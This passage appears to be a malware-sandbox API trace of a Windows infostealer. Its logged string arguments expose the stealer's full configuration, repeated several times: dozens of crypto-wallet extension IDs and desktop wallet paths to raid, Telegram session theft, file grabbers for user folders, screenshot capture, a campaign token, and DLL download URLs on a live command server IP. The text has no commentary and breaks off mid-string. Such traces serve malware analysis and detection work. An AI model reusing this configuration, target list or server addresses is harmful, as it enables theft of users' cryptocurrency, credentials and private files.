Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 5278 [0266.194] LocalAlloc (uFlags=0x40, uBytes=0x293c) returned 0x6f4830 [0266.194] lstrlenW (lpString="libs_nss3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/nss3.dll\nlibs_msvcp140:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/msvcp140.dll\nlibs_vcruntime140:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/vcruntime140.dll\nlibs_mozglue:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/mozglue.dll\nlibs_freebl3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/freebl3.dll\nlibs_softokn3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/softokn3.dll\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_tronl:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\nlibs_sqlite3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dll\news_bsc:fhbohimaelbohpjbbldcngcnapndodjp;BinanceChain;Local Extension Settings\news_ronin:fnjhmkhhmkbjkkabndcnnogagogbneec;Ronin;Local Extension Settings\nwlts_exodus:Exodus;26;exodus;*;*partitio*,*cache*,*dictionar*\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 5278 [0266.194] LocalAlloc (uFlags=0x40, uBytes=0x293c) returned 0x6f7178 [0266.194] lstrlenW (lpString="libs_nss3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/nss3.dll\nlibs_msvcp140:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/msvcp140.dll\nlibs_vcruntime140:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/vcruntime140.dll\nlibs_mozglue:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/mozglue.dll\nlibs_freebl3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/freebl3.dll\nlibs_softokn3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/softokn3.dll\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_tronl:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\nlibs_sqlite3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dll\news_bsc:fhbohimaelbohpjbbldcngcnapndodjp;BinanceChain;Local Extension Settings\news_ronin:fnjhmkhhmkbjkkabndcnnogagogbneec;Ronin;Local Extension Settings\nwlts_exodus:Exodus;26;exodus;*;*partitio*,*cache*,*dictionar*\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 5278 [0266.194] LocalAlloc (uFlags=0x40, uBytes=0x293c) returned 0x6f9ac0 [0266.194] lstrlenW (lpString="atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 4335 [0266.194] LocalAlloc (uFlags=0x40, uBytes=0x225e) returned 0x6fc408 [0266.195] StrCpyW (in: psz1=0x6ef5a0, psz2="Atomic" | out: psz1="Atomic") returned="Atomic" [0266.195] LocalFree (hMem=0x6fc408) returned 0x0 [0266.195] StrStrW (lpFirst="26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch=";") returned=";atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension 